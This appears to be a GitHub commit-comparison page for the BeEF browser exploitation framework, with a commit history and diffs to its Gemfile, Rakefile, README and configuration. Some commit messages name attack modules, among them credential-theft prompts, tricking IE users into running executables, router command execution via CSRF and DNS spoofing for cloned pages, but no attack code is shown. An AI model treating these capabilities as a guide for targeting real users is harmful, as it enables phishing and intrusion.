Compare commits

...

162 Commits

Author SHA1 Message Date
Brendan Coles
c1a7b1ec08 Use filter 2014-04-25 04:17:17 +10:00
Brendan Coles
9af8e6bd00 Add CPU type filter 2014-04-25 04:16:53 +10:00
Brendan Coles
a317b223ca Update description 2014-04-25 03:52:57 +10:00
bcoles
6fe8772710 Refactor browser component details 2014-04-25 02:11:58 +09:30
Wade Alcorn
94b636c6fd Fixed reference to origin 2014-04-24 19:36:58 +10:00
Wade Alcorn
8dfa674134 Merge branch 'master' of github.com:beefproject/beef 2014-04-24 19:36:10 +10:00
Wade Alcorn
52c2ef45e1 Fixed reference to origin 2014-04-24 14:44:26 +10:00
Christian Frichot
f17569cc35 Chrome Browser detection up to v36 for Desktop and iOS 2014-04-24 11:48:42 +08:00
Brendan Coles
82e09e88ff Merge pull request #999 from bcoles/nginx
Add nginx imitation
2014-04-23 00:16:23 +10:00
bcoles
2ee9fb6ccc Add nginx imitation 2014-04-22 22:49:21 +09:30
Brendan Coles
d0cdb9ec90 Update config.yaml
Edit comments for consistency.
2014-04-22 21:05:05 +10:00
Brendan Coles
ed5a11479a Merge pull request #998 from bcoles/geoip
Add support for MaxMind GeoIP
2014-04-22 02:31:54 +10:00
bcoles
4529dd1a6c Add support for MaxMind GeoIP 2014-04-22 00:58:49 +09:30
Brendan Coles
a131e670bc Merge pull request #995 from bcoles/update_print
Update print methods
2014-04-20 20:20:18 +10:00
Brendan Coles
17f265cb83 module.rb minor code cleanup 2014-04-20 20:12:33 +10:00
bcoles
354c3f1af0 Downgrade error to warning 2014-04-20 18:52:14 +09:30
bcoles
7689af8e2c Add print_warning, print_good and print_status 2014-04-20 17:24:25 +09:30
Brendan Coles
691ae19426 Update Gemfile
Add comments

Add gems for MySQL/PostgreSQL (commented out)

Add Twitter gem dependency (commented out)
2014-04-17 13:40:59 +10:00
antisnatchor
f2c83ced4d Merge remote-tracking branch 'origin/master' 2014-04-14 11:48:23 +02:00
antisnatchor
940b03e249 Removed twitter dependency from Gemfile as it's causing depenedencies issues sometimes, and the twitter notification feature isn't that used anyway. 2014-04-14 11:46:42 +02:00
Michele Orru
78a0c689be Merge pull request #992 from RootPrivileges/windows-pretty-theft
Add a Windows prompt to the pretty_theft module
2014-04-14 11:41:16 +02:00
RootPrivileges
5ddb88db73 Add a Windows prompt to the pretty_theft module 2014-04-14 10:23:30 +01:00
Brendan Coles
f526f39f10 Warn about Heartbleed if opemnssl is vulnerable
Warn user if the OpenSSL library is vulnerable to Heartbleed and HTTPS is enabled.

Part of #990
2014-04-13 03:33:32 +10:00
Brendan Coles
5d1d519fc2 unless proxy_clients.empty?
replace `unless proxy_clients.nil?` with `unless proxy_clients.empty?`
2014-04-13 02:31:52 +10:00
Brendan Coles
d9fd2b994e Add browser proxy details to browser summary 2014-04-13 02:29:09 +10:00
Brendan Coles
dde007ce86 Merge pull request #987 from ecneladis/master
Adding module for getting battery status
2014-03-25 21:25:57 +11:00
ecneladis
6044de5604 Adding module for getting battery status 2014-03-24 12:46:43 +01:00
Michele Orru
4e3f0366bf Merge pull request #986 from koto/master
Added payloads for Chrome extensions injector
2014-03-22 15:39:27 +01:00
antisnatchor
2cf4e7e055 Re-added csrf_to_beef tool (removed for mistake, sorry) 2014-03-22 15:31:55 +01:00
Krzysztof Kotowicz
3947bac044 added payloads 2014-03-22 11:28:27 +01:00
Brendan Coles
99c251610d Merge pull request #985 from veshi/master
trivial: fix some misspelled words.
2014-03-20 17:26:25 +11:00
Adrian Kalaveshi
e139ad121e trivial: fix some misspelled words. 2014-03-19 17:06:56 -07:00
Michele Orru
0664ce688e Merge pull request #984 from bcoles/getDefaultBrowser
Add 'beef.os.getDefaultBrowser'
2014-03-19 17:20:32 +00:00
bcoles
7d6eb4b714 Add 'beef.os.getDefaultBrowser' 2014-03-20 02:49:08 +10:30
bcoles
97898d453c Moved Detect Default Browser module to Host category 2014-03-20 00:58:16 +10:30
bcoles
fab0bf6b24 Add Detect HP module 2014-03-20 00:52:25 +10:30
bcoles
4a603b9f00 Add IE10 resource URL browser fingerprint 2014-03-19 23:49:21 +10:30
bcoles
73c42f34f6 Add support for Firefox 28 2014-03-19 11:02:25 +10:30
Michele Orru
ca13af9f4e Merge pull request #983 from koto/se-talk
Added new files, readme and contact info to chrome extensions exploits
2014-03-18 12:01:08 +00:00
Krzysztof Kotowicz
2105121c93 added new files, readme and contact info 2014-03-18 12:56:57 +01:00
antisnatchor
98ca29e51e Moved xsrf_to_beef in its own dir. 2014-03-16 15:48:39 +00:00
antisnatchor
4db376f11c Merge branch 'master' of https://github.com/beefproject/beef 2014-03-16 15:47:16 +00:00
antisnatchor
df4ec41538 Added Chrome Extension exploitation tools from me and Kkotowicz. 2014-03-16 15:45:16 +00:00
bcoles
ee1e29341e Move firefox extension modules to social engineering directory 2014-03-16 18:18:18 +10:30
Brendan Coles
7a8115211d Merge pull request #981 from beefproject/MSF-Target-Browsers
Added support for target browser detection for MSF modules #530
2014-03-16 13:39:03 +11:00
antisnatchor
05979af3a2 Treating IE9 and 10 as the same for the ui_abuse_ie attack 2014-03-14 13:22:16 +00:00
antisnatchor
4a733a6f74 Finishing ui_abuse_ie module development. Minor fix on one animated gif remains. Tested on IE9/10 on Win7 successfully. 2014-03-13 17:37:04 +00:00
antisnatchor
d4fd537108 Continued working on ui_abuse_ie module 2014-03-12 20:58:39 +00:00
antisnatchor
14f1991542 Fixed config.yaml issue in ui_abuse_ie module. 2014-03-12 17:15:22 +00:00
antisnatchor
1c055febeb Working on new exploit module that abuses UI expectations on IE9/10 tricking the user to run a (signed) exe. Based on Rosario Valotta research. 2014-03-12 16:59:09 +00:00
Brendan Coles
b3c4753114 Merge pull request #976 from kxynos/master
Remove stuck iframes and get html from page and iframes modules

Thanks @kxynos
2014-03-11 09:08:02 +11:00
Kosta Xynos
44058f0025 Remove stuck iframes and get html from page and iframes modules 2014-03-09 21:55:21 +00:00
antisnatchor
afdb7044d8 BeEF debug == false by default 2014-03-06 17:34:33 +00:00
Michele Orru
161729bba5 Merge pull request #975 from kxynos/master
Added support for Asus RT-N66U and DSL-N66U Command Execution via CSRF
2014-03-06 17:32:09 +00:00
antisnatchor
8f4f51874d Fixed issues with the DNS server RESTful API. Now it works. 2014-03-06 17:11:27 +00:00
Kosta Xynos
25550f9cfa Add Asus RT-N66U and DSL-N66U Command Execution via CSRF support 2014-03-06 16:20:44 +00:00
antisnatchor
46e165df5e Added support for browser language detection. Also added a new entry in Browser Details and JS call beef.browser.getBRowserLanguage() 2014-03-06 12:35:02 +00:00
bcoles
3494542b54 Make upstream DNS server configurable 2014-03-04 00:56:41 +10:30
bcoles
c11d4d40ea replace backticks with IO.open 2014-03-03 22:31:14 +10:30
antisnatchor
2f7ccf033c Commented out the tests for DNS code. 2014-03-02 16:14:56 +00:00
antisnatchor
91fa8f4e63 Various fixes for the DNS extension code. 2014-03-02 16:05:57 +00:00
antisnatchor
cdb050a940 Added more delay to beef_start Rakefile task. 2014-03-02 16:05:19 +00:00
antisnatchor
39e672f420 Fixed 2 RCE bugs in the DNS extension code (unsafe eval calls). 2014-03-02 15:43:36 +00:00
antisnatchor
ec9cf4d460 Manually merged DNS extension code (pull request 967 from @soh-cah-toa) 2014-03-02 12:56:33 +00:00
antisnatchor
9dcff5184d Manually merged DNS extension code (pull request 967 from @soh-cah-toa) 2014-03-02 12:40:18 +00:00
bcoles
32d30a8176 Remove the method from a couple of 'beef.dom.createIframe' calls
Part of issue #969
2014-02-28 23:49:27 +10:30
Brendan Coles
55af5625bb Merge pull request #972 from pgrohe/pgrohe/issue969
Pgrohe/issue969
2014-03-01 01:06:41 +11:00
Ben Passmore
52aacdde66 Removed bundle install from Rakefile for TeamCity 2014-02-26 15:45:06 +10:00
antisnatchor
7639537d11 Added support for Chrome 32 and 33. 2014-02-25 13:31:59 +00:00
Phil Grohe
d050198afa Clean up .gitignore file. Accidentally committed changes to it to exclude my Sublime Text 2 project files. 2014-02-23 12:04:52 -05:00
Phil Grohe
f274001a65 Revised comments on beef.dom.createIframe() to reflect removal of 'method' parameter & form submitting behavior. Updated existing function calls to beef.dom.createIframe() to remove 'method' parameter. 2014-02-22 11:57:56 -05:00
Phil Grohe
cc51e2c294 Initial revision of beef.dom.createIframe() Removed 'method' parameter and code path that creates a form and uses created iframe as target. 2014-02-22 11:18:12 -05:00
Wade Alcorn
7554449218 Version number updated 2014-02-22 06:42:16 +10:00
Saafan
a4973a5365 Merge pull request #946 from offensivecoder/update_twitter_require_version_5
Update twitter require version 5
2014-02-21 00:48:46 +02:00
bcoles
bcb8a1b858 Merge branch 'master' of https://github.com/beefproject/beef 2014-02-14 10:02:00 +10:30
bcoles
4cbe074259 Add support for IE11 2014-02-14 10:01:39 +10:30
Wade Alcorn
744b7649e7 Corrected some usages of domain to origin 2014-02-08 09:56:31 +10:00
soh_cah_toa
a75a95b663 Implemented DNS spoofer in social engineering extension.
The /api/seng/clone_page endpoint now accepts a boolean "dns_spoof"
key in the JSON request. This adds a DNS record pointing the
cloned webpage to the BeEF server.

Integration tests included.
2014-02-04 16:18:12 -05:00
bcoles
5084083e23 Update BeEF version to 0.4.4.10-alpha 2014-02-01 21:40:18 +10:30
Marc Wickenden
f2ba3b55e8 require version 5 of the twitter gem due to removal of Twitter.configure method 2013-11-24 00:20:08 +00:00
Marc Wickenden
91575adcb2 Merge branch 'master' of https://github.com/beefproject/beef 2013-11-24 00:16:36 +00:00
soh_cah_toa
9d4ea6c224 Fixed issue mentioned in FIXME comment in RubyDNS::Server#match.
Changed 'block.class.name' to just 'block' in case/when clause.
2013-07-22 22:42:27 -04:00
soh_cah_toa
b2aed14234 Added regex support to #add_rule (tests included).
Due to strange behavior in Sourcify, the /.../ literal syntax cannot
be used as a parameter; only %r{} or Regexp::new. There is a note
for this in the documentation for #add_rule.
2013-07-22 22:37:39 -04:00
Saafan
75f33016ea Added support for target browser detection for MSF modules #530 2013-07-22 08:49:56 -04:00
soh_cah_toa
6a62cf9eaa Added public attributes 'address' and 'port' to Dns::Server.
This removes the need to search config.yaml for the address:port.
Also included unit tests.
2013-07-19 22:33:40 -04:00
soh_cah_toa
8d961c1938 Added support for rules that fail to resolve (e.g. NXDOMAIN).
Included unit tests.
2013-07-19 22:15:25 -04:00
soh_cah_toa
141a12a92f Included #remove_ruleset in public interface tests. 2013-07-17 18:19:56 -04:00
soh_cah_toa
95d0ddbe87 Added new method #remove_ruleset that clears the entire DNS ruleset.
Included unit tests as well.
2013-07-17 18:16:46 -04:00
soh_cah_toa
9cfb98963d Added unit tests for #get_ruleset. 2013-07-16 23:48:46 -04:00
soh_cah_toa
94da775ba6 Added unit tests for #remove_rule (good and bad behavior). 2013-07-15 23:58:37 -04:00
soh_cah_toa
85d4375825 Added unit tests for #get_rule with an invalid id.
Also overrode Kernel#puts to suppress output from RubyDNS.
2013-07-15 23:36:29 -04:00
soh_cah_toa
4d0f58684f Divided #add_rule tests into separate good and bad tests.
Also added unit tests that verify rule id format.
2013-07-15 23:07:06 -04:00
soh_cah_toa
8d95e6f522 Changed public interface tests to use #assert_respond_to.
This will improve the accuracy of potential error messages.
2013-07-15 18:25:33 -04:00
soh_cah_toa
5769615cd5 Added unit tests for #get_rule.
Also removed convenience variables from #add_rule tests (domain and
response). The "response" key in the hash returned by #get_rule is
generated by Sourcify which sourcifies the variable name, not its
value.
2013-07-15 03:48:01 -04:00
soh_cah_toa
9a4fd6cb4c Removed "dns" task in Rakefile since "unit" is fine now. 2013-07-15 03:02:29 -04:00
soh_cah_toa
1ffa21d62a Added unit tests for #add_rule.
These represent the first actual tests for the Dns::Server class.
2013-07-15 02:47:37 -04:00
soh_cah_toa
d8a8e37029 Moved DM adapter setup into first "test" method.
Since #setup is called between each test, the database table would
otherwise be cleared every time.
2013-07-15 02:39:41 -04:00
soh_cah_toa
8270abd2d5 Added unit tests for Dns::Server public interface. 2013-07-15 02:12:31 -04:00
soh_cah_toa
3865aab7ee Added unit tests for required config.yaml settings. 2013-07-15 02:07:26 -04:00
soh_cah_toa
123c3cdc04 FIXED UNIT TEST ISSUES!!! \(^o^)/
Load path and configuration setup belong in #startup along with any
required files. DataMapper adapter connections go in #setup. That's
the secret recipe.
2013-07-15 02:00:12 -04:00
soh_cah_toa
ebbadba6dd Improved #run_server to check if EM reactor is already running.
Also moved Thread creation to inside #run_server instead of
forcing caller to do so.
2013-07-14 23:27:21 -04:00
soh_cah_toa
d9f7af2721 Reference point for broken unit tests.
NoMethodError and NameError are present.
2013-06-22 03:32:42 -04:00
soh_cah_toa
d45bff3a59 Improved #check_dns_response to use config file for address/port. 2013-06-10 18:11:36 -04:00
soh_cah_toa
d2ac9e0f7a Included broken DNS unit tests so others can help debug.
Temporary 'dns' and 'dns_rest' Rake tasks make it easier to run tests.
2013-06-08 23:25:23 -04:00
soh_cah_toa
9e1ec69e40 Added tests for GET /api/dns/ruleset handler. 2013-06-08 22:44:51 -04:00
soh_cah_toa
e775748603 Added more tests for GET /api/dns/rule/:id with invalid input.
Also changed handler to return 404 when rule isn't found.
2013-06-08 21:58:28 -04:00
soh_cah_toa
3b58518cfd Added tests for GET /api/dns/rule/:id handler.
Fixed #parse_response so that these tests pass.
2013-06-08 19:04:42 -04:00
soh_cah_toa
b9d64f0b89 Significantly refactored code in #test_3_add_rule_types. 2013-06-07 23:56:19 -04:00
soh_cah_toa
e527f1ae09 Refactored redundant code in #test_1_add_rule_good. 2013-06-07 23:09:07 -04:00
soh_cah_toa
68e56fa8c0 Added tests for NS, PTR, SOA, TXT, WKS, and invalid RR types.
All RR's are now tested. Though the tests are yet to be optimized.
2013-06-07 23:03:10 -04:00
soh_cah_toa
eccbdd6958 Added tests for AAAA, CNAME, HINFO, MINFO, and MX RR types.
Also fixed #format_response to properly format MS records.
2013-06-07 18:32:29 -04:00
soh_cah_toa
019ec2f6ed Added new test for attempting to add an existing rule. 2013-06-07 00:05:15 -04:00
soh_cah_toa
cfa9177af1 Added 4 new tests for bad POST /api/dns/rule requests. 2013-06-06 23:58:12 -04:00
soh_cah_toa
1f37ceec9f Began first integration tests for DNS RESTful API interface.
First test is for POST /api/dns/rule handler.
2013-06-06 23:16:40 -04:00
soh_cah_toa
6901581ae7 Moved #format_response call to before when RR type is evaled.
Since #format_response throws an exception for unknown RR types,
calling it first will ensure bad Resolv::DNS::Resource names will
never be evaled.
2013-06-06 22:59:54 -04:00
soh_cah_toa
09ec09601e Changed hash key syntax from previous commit.
Besides being consistent, Sinatra actually requires the string
syntax.
2013-06-05 18:33:08 -04:00
soh_cah_toa
fc6f0aface Changed DELETE handler to return JSON "success" key.
Prior to this, nothing was returned. This will allow users to
determine whether or not a rule was removed as expected.
2013-06-05 18:29:18 -04:00
soh_cah_toa
89a5d6fdbb Modified #remove_rule to return a boolean value.
This is will soon allow the DELETE handler to indicate success
or failure.
2013-06-05 18:20:48 -04:00
soh_cah_toa
6c61b39d81 Changed 401 status to 403 in filter for non-permitted IP's.
403 Forbidden is more appropriate since 401 Unauthorized only
indicates that authentication is needed. In the case of a bad IP,
authentication will make no difference which is exactly what 403 is
meant for.
2013-06-05 17:09:09 -04:00
soh_cah_toa
80ab665054 Added new InvalidParamError class for handling bad named parameters.
Previously, InvalidJsonError was being used mistakenly for this which
is misleading considering no JSON was involved.
2013-06-05 16:56:05 -04:00
soh_cah_toa
e56494d486 Renamed /rules GET route to /ruleset for the sake of consistency.
Also added new "count" key to result that lists the number of rules.
2013-06-05 16:30:24 -04:00
soh_cah_toa
2f5133e11a Changed GET handlers to return recently fixed rule data.
Also wrapped all handlers in a begin/end block that catches
internal StandardError exceptions.
2013-06-05 15:56:33 -04:00
soh_cah_toa
fce4c9196d Modified grep test case to allow #eval use in DNS extension.
Using #eval is necessary for normal functioning and is now used in
a safe manner.
2013-06-03 21:53:06 -04:00
soh_cah_toa
0af4029915 Added placeholders necessary to start DNS unit tests.
Currently does nothing but assert(true).
2013-06-03 21:42:34 -04:00
soh_cah_toa
44622345d0 s/DNS/Dns/g since that is the BeEF style convention. 2013-06-03 17:55:58 -04:00
soh_cah_toa
0f8221918b Improved coding style (a la ruby-style-guide and rubocop).
Because I'm too tired to start testing and need a little victory. ;)
2013-06-03 00:11:41 -04:00
soh_cah_toa
c8c9e1e139 Reimplemented POST handler to avoid unsafe use of #eval.
Now the desired response is passed an array. Each RR type is handled
specially to craft the necessary response.
2013-06-02 22:40:58 -04:00
soh_cah_toa
998980b566 Fixed case-statement in #match that prevented adding rules locally. 2013-06-02 22:23:27 -04:00
soh_cah_toa
7f4562945a Added new InvalidJsonError class for handling errors in JSON input.
This is better practice than just (ab)using StandardError.
2013-05-26 23:46:37 -04:00
soh_cah_toa
38284d5eaa Implemented DELETE handler for removing DNS rules. 2013-05-26 23:26:58 -04:00
soh_cah_toa
27b1b530ef Implemented POST handler for /api/dns/rule which adds a new rule.
A host of other changes got roped into this as well. #match now
silently handles blocks passed as a String in order to handle
the 'block' JSON parameter. This is because sourcify doesn't
work with eval'd data.

Rule id's are no longer incremental integers. It's now a 7-character
"token" generated from #secure_token and is managed by the RubyDNS
module.
2013-05-26 22:44:11 -04:00
soh_cah_toa
c6f38324d1 Refactored #get_ruleset to be part of RubyDNS.
All database logic should be inside RubyDNS since BeEF's DNS class
is mostly just a wrapper around it.
2013-05-18 21:00:22 -04:00
soh_cah_toa
054767c898 Added RESTful API route for /api/dns/rule/:id.
This will return a single rule given its unique id.
2013-05-17 23:02:40 -04:00
soh_cah_toa
702595c04c Improved a lot of documentation for BeEF::Extension::DNS::DNS. 2013-05-17 19:12:05 -04:00
soh_cah_toa
c70037f9f4 Began adding support for RESTful API beginning with /api/dns/rules. 2013-05-17 18:25:22 -04:00
soh_cah_toa
13001b9642 Updated README.mkd to mention rubydns and sourcify dependencies.
This was forgettin in commit 872ce2e.
2013-05-16 23:24:23 -04:00
soh_cah_toa
18a78b57b2 Fixed load_rules() to rebuild 'pattern' and 'type' as an array.
This was forgotten in the previous commit.
2013-05-16 23:20:04 -04:00
soh_cah_toa
24f7e5b6cd Separated 'pattern' and 'type' properties in DNS model.
This will expose the resource type to the RESTful API (coming soon).
2013-05-16 23:14:29 -04:00
soh_cah_toa
6d2a771084 Changed model name to BeEF::Core::Models::DNS::Rule.
This is more descriptive and follows the singular name convention.
2013-05-15 22:29:42 -04:00
soh_cah_toa
271b2b8e85 Removed RubyDNS::Server#rules attribute accessor since it's unused. 2013-05-15 22:19:58 -04:00
soh_cah_toa
35f25bbeb9 Removed load_rules() and parse_type() since they're unused. 2013-05-15 22:18:16 -04:00
soh_cah_toa
872ce2e92f Updated README to mention rubydns and sourcify dependencies. 2013-05-15 22:15:50 -04:00
soh_cah_toa
992e95f0d7 Added database support when adding/removing rules.
Needed to add 'sourcify' as a dependency in order to store code blocks
in the database.
2013-05-15 22:12:37 -04:00
soh_cah_toa
1f7e748afc Removed parse_response() since it's no longer needed. 2013-05-14 19:23:08 -04:00
soh_cah_toa
ddcb040c40 Marked add_rule() and remove_rule() as critical sections.
Mutual exclusion is imperative here since other modules/extenions may
be simultaneously adding/removing rules, thus putting the value of
@next_id at risk of becoming inconsistent.
2013-05-14 19:12:23 -04:00
soh_cah_toa
e563a8946b Began implementing new method of adding rules without periodic timer.
Also added improved documentation for add_rule() and remove_rule().
2013-05-14 18:47:51 -04:00
soh_cah_toa
86e01b1327 Documented run_server() and add_rule(). 2013-05-10 23:19:58 -04:00
soh_cah_toa
d622bf3e5e New DNS entries can now be added dynamically without a server restart.
Database is checked every five seconds and adds new rules if there
were any changes.
2013-05-10 23:01:10 -04:00
soh_cah_toa
c7eb1c7fc9 Added DNS database model to load resource records from.
Now modules/extensions can dynamically add new RR's. However, changes
don't take effect until BeEF restarts (fix incoming).
2013-05-08 00:03:08 -04:00
soh_cah_toa
d24a00a639 Overrode RubyDNS::Transaction.respond! to use debug logger instead.
Now all RubyDNS output is properly disabled unless --verbose is given.
2013-05-07 23:59:27 -04:00
soh_cah_toa
c7981f3c0d Demoted UPSTREAM from constant to local variable. Minimizes scope. 2013-05-07 22:40:26 -04:00
soh_cah_toa
281cde1cbb Added new definition for Logger#warn. 2013-05-07 22:06:13 -04:00
soh_cah_toa
493ed5182b Made BeEF::Extension::DNS::DNS into a singleton object.
This ensures that all modules/extensions that add new RR's
refer to a single server instance.
2013-05-07 21:56:11 -04:00
soh_cah_toa
ceb55ef3df Resolved DNS thread issue using EM::next_tick() instead of sleep(). 2013-05-06 13:09:44 -04:00
soh_cah_toa
cbd815c519 Changed output format for RubyDNS to be "BeEF-compliant".
RubyDNS's logger now uses BeEF's print-related functions. Debug
messages regarding queries can be enabled using --verbose.
2013-05-05 22:19:54 -04:00
soh_cah_toa
d22373d828 Fixed thread issue that occasionally caused BeEF to stop immediately.
While using sleep() to fix thread complications is never a great
solution, it gets the job done for now.
2013-05-05 21:14:30 -04:00
soh_cah_toa
fdd1048f1a Implemented basic nameserver and configured it to run on BeEF startup.
It's worth noting that RubyDNS currently displays a lot of messy
output. This needs to be addressed before moving any further.
2013-05-03 22:37:42 -04:00
soh_cah_toa
cc4b34ed8d Started basic DNS extension. Currently does nothing. 2013-05-03 21:25:53 -04:00
soh_cah_toa
9f7d326f6f Added RubyDNS to Gemfile and core/loader.rb. 2013-05-03 17:34:41 -04:00
marc
612343990d Merge branch 'master' of https://github.com/beefproject/beef 2012-08-30 11:33:26 +01:00
Marc Wickenden
c708a60bdd new it wasn't 2012-07-24 20:05:45 +01:00
Marc Wickenden
6ce3581ae5 add Gemfile.lock. I'm not sure this is a good idea 2012-07-24 19:51:03 +01:00
131 changed files with 4255 additions and 906 deletions

24
Gemfile
View File

@@ -10,8 +10,10 @@ gem "eventmachine", "1.0.3"
gem "thin"
gem "sinatra", "1.4.2"
gem "rack", "1.5.2"
gem "em-websocket", "~> 0.3.6"
gem "em-websocket", "~> 0.3.6" # WebSocket support
gem "uglifier", "~> 2.2.1"
# Windows support
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
gem "therubyracer", "~> 0.11.0beta1"
@@ -21,23 +23,27 @@ elsif !RUBY_PLATFORM.downcase.include?("darwin")
gem "therubyracer"
gem "execjs"
end
gem "ansi"
gem "term-ansicolor", :require => "term/ansicolor"
gem "dm-core"
gem "json"
gem "data_objects"
gem "dm-sqlite-adapter"
gem "dm-sqlite-adapter" # SQLite support
#gem dm-postgres-adapter # PostgreSQL support
#gem dm-mysql-adapter # MySQL support
gem "parseconfig"
gem "erubis"
gem "dm-migrations"
gem "msfrpc-client"
gem "rubyzip", "~> 1.0.0"
# notifications
gem "twitter"
gem "msfrpc-client" # Metasploit Integration extension
#gem "twitter", ">= 5.0.0" # Twitter Notifications extension
gem "rubyzip", ">= 1.0.0"
gem "rubydns" # DNS extension
gem "sourcify"
gem "geoip" # geolocation support
# For running unit tests
if ENV['BEEF_TEST']
# for running unit tests
gem "test-unit"
gem "test-unit-full"
gem "curb"
@@ -48,7 +54,7 @@ if ENV['BEEF_TEST']
# sudo apt-get install libxslt-dev libxml2-dev
# sudo port install libxml2 libxslt
gem "capybara"
#RESTful API tests/generic command module tests
# RESTful API tests/generic command module tests
gem "rest-client", "~> 1.6.7"
end

View File

@@ -42,7 +42,7 @@ Installation
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatible and conflicting ruby packages that are required
3.2. rvm install 1.9.3-p484
3.3. rvm use 1.9.3
@@ -71,4 +71,4 @@ Installation
Simply run:
./beef -x
./beef -x

2
README
View File

@@ -54,7 +54,7 @@ We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installatio
Usage
-----
To get started, simply execute beef and follow the instrustions:
To get started, simply execute beef and follow the instructions:
$ ./beef

View File

@@ -8,14 +8,14 @@ task :default => ["quick"]
desc "Run quick tests"
task :quick do
Rake::Task['unit'].invoke # run unit tests
Rake::Task['unit'].invoke # run unit tests
end
desc "Run all tests"
task :all do
Rake::Task['integration'].invoke # run integration tests
Rake::Task['unit'].invoke # run unit tests
Rake::Task['msf'].invoke # run msf tests
Rake::Task['integration'].invoke # run integration tests
Rake::Task['unit'].invoke # run unit tests
Rake::Task['msf'].invoke # run msf tests
end
desc "Run automated tests (for Jenkins)"
@@ -38,16 +38,16 @@ task :unit => ["install"] do
end
desc "Run MSF unit tests"
task :msf => ["install", "msf_install"] do
task :msf => ["install", "msf_install"] do
Rake::Task['msf_update'].invoke
Rake::Task['msf_start'].invoke
sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
Rake::Task['msf_stop'].invoke
end
task :install do
sh "export BEEF_TEST=true;bundle install"
end
#task :install do
# sh "export BEEF_TEST=true"
#end
################################
# X11 set up
@@ -57,7 +57,7 @@ end
task :xserver_start do
printf "Starting X11 Server (wait 10 seconds)..."
@xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
printf '.'
sleep (i) # increase the . display rate
@@ -78,7 +78,7 @@ end
task :beef_start => 'beef' do
printf "Starting BeEF (wait a few seconds)..."
@beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
delays = [3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
delays = [10, 10, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
delays.each do |i| # delay for a few seconds
printf '.'
sleep (i)
@@ -99,7 +99,7 @@ end
task :msf_start => '/tmp/msf-test/msfconsole' do
printf "Starting MSF (wait 45 seconds)..."
@msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+")
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 45 seconds
printf '.'
sleep (i) # increase the . display rate
@@ -116,7 +116,7 @@ task :msf_install => '/tmp/msf-test/msfconsole' do
# Handled by the 'test/msf-test/msfconsole' task.
end
task :msf_update => '/tmp/msf-test/msfconsole' do
task :msf_update => '/tmp/msf-test/msfconsole' do
sh "cd /tmp/msf-test;git pull"
end
@@ -159,10 +159,10 @@ task :cde do
Rake::Task['cde_beef_start'].invoke
Rake::Task['beef_stop'].invoke
puts "\nCleaning Up...\n";
sleep (2);
sleep (2);
sh "rm -rf CDE";
puts "\nCDE Package Created...\n";
end
end
################################
# CDE/BeEF environment set up
@@ -172,7 +172,7 @@ task :cde do
task :cde_beef_start => 'beef' do
printf "Starting CDE BeEF (wait 10 seconds)..."
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
printf '.'
sleep (i)

View File

@@ -4,4 +4,4 @@
# See the file 'doc/COPYING' for copying permission
#
0.4.4.9-alpha
0.4.5.0-alpha

View File

@@ -6,56 +6,73 @@
# BeEF Configuration file
beef:
version: '0.4.4.9-alpha'
version: '0.4.5.0-alpha'
# More verbose messages (server-side)
debug: false
# More verbose messages (client-side)
client_debug: false
# Used for generating secure tokens
crypto_default_value_length: 80
# Interface / IP restrictions
restrictions:
# subnet of browser ip addresses that can hook to the framework
# subnet of IP addresses that can hook to the framework
permitted_hooking_subnet: "0.0.0.0/0"
# subnet of browser ip addresses that can connect to the UI
# permitted_ui_subnet: "127.0.0.1/32"
# subnet of IP addresses that can connect to the admin UI
#permitted_ui_subnet: "127.0.0.1/32"
permitted_ui_subnet: "0.0.0.0/0"
# HTTP server
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0"
port: "3000"
# Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results.
# It's not advised to decrease it with tons of hooked browsers (more than 50),
# because it might impact performance. Also, enable WebSockets is generally better.
# Decrease this setting to 1,000 (ms) if you want more responsiveness
# when sending modules and retrieving results.
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
# when hooking lots of browsers (50+).
# Enabling WebSockets is generally better (beef.websocket.enable)
xhr_poll_timeout: 5000
# if running behind a nat set the public ip address here
#public: ""
#public_port: "" # port setting is experimental
# Reverse Proxy / NAT
# If BeEF is running behind a reverse proxy or NAT
# set the public hostname and port here
#public: "" # public hostname/IP address
#public_port: "" # experimental
# DNS
dns_host: "localhost"
dns_port: 53
# Web Admin user interface URI
web_ui_basepath: "/ui"
# Hook
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
# Allow one or multiple domains to access the RESTful API using CORS
# For multiple domains use: "http://browserhacker.com, http://domain2.com"
# Allow one or multiple origins to access the RESTful API using CORS
